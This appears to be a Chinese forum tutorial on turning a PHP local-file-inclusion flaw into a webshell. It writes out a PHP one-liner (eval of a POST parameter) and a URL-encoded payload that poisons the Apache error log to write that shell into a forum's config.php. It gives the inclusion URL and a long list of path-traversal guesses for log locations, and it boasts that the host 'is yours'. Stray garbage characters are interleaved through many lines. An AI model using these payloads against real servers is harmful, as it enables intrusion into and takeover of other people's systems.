php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
' D2 `: d! n' v<?eval($_POST[cmd]);?>   
! J& r7 F; ]- b$ x* o$ A! I
7 N5 s* D* a8 F2 c到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
) f: Z* S( T$ k. ?fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
) P( d# C. r3 g2 S- r
$ A8 r1 y0 _: W<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
+ F& ?& x  c8 M# h2 G* _
: G9 i0 G4 H0 i我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
" S+ f, N. n& `& O; }( C% S%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
7 d+ k5 J. k  a: x7 ]& J8 mconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
! r3 F9 F! X3 N/ `' v$ g%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
+ n/ Y7 V% [" sfclose%28%24fp%29%3B%3F%3E
$ j/ i: W- d1 A我们提交
& g9 u' D, W; W: t& uhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
5 z% i: }1 @2 B# e* Z%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
1 R7 N9 ?6 ~8 a$ j* h- i$ ?6 y%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
6 ~/ K, i" j3 T! H, [3 j: U
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
* F( f7 e6 S, \. Z# [: n
& U8 X) Q2 g$ Q! k0 Y这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
( P( d  j, Z5 a5 b( r: e; dhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
( G8 |9 ^' M* m6 E4 V8 o直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

8 l7 n9 z! O! D( w6 Z. T5 D其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
- y  t8 v" a2 Z5 F' k/ j% P../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
: S4 @# o: U& ^( {# P../../apache/logs/error.log
( T8 u. H6 P" h0 [6 _) a/ O$ t5 e+ l../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
# g' d+ Z9 ]4 e7 O& o../../../../../../../../../../etc/httpd/logs/acces_log
( q( `+ `; s" c../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
% b1 Z5 u+ C( h/ O4 y../../../../../../../../../../usr/local/apache/logs/access_log
( O% r/ z' n; U; u8 Y( T, ?& J, ~6 O../../../../../../../../../../usr/local/apache/logs/access.log
% F3 R+ A/ C) @2 T../../../../../../../../../../var/log/apache/access_log
8 \; `* R7 z+ G4 O7 y../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
6 z. o" |3 G+ D/ G- h% l../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
% c* Q) Q# {. N/ C4 m/ w4 w../../../../../../../../../../var/log/apache/error.log
% w( k& k0 [5 Z/ A. G1 M. k0 y../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
4 a7 E! \3 g- H( Q7 H+ ^../../apache/logs/error.log
../../apache/logs/access.log
: G, K8 L" Y1 U/ L2 N../../../apache/logs/error.log
  A% j% N  ?$ v3 Q8 f/ I' r: {../../../apache/logs/access.log
$ E+ K5 H3 ^, f& M/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
1 E  A* a" u1 c  C/etc/httpd/logs/error.log
6 L! W0 b. [2 o0 }/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
4 C. D1 \$ d' D8 N) ^" p  }. Y/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
3 h7 _" J% o! }$ t  s/ ^: k. H3 ]/var/www/logs/error.log
/usr/local/apache/logs/error_log
& i8 l( P' T4 ?) T- o/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
7 y* C/ N0 k7 T/var/log/access_log
7 ^: o* g. u' ?4 a/var/log/error_log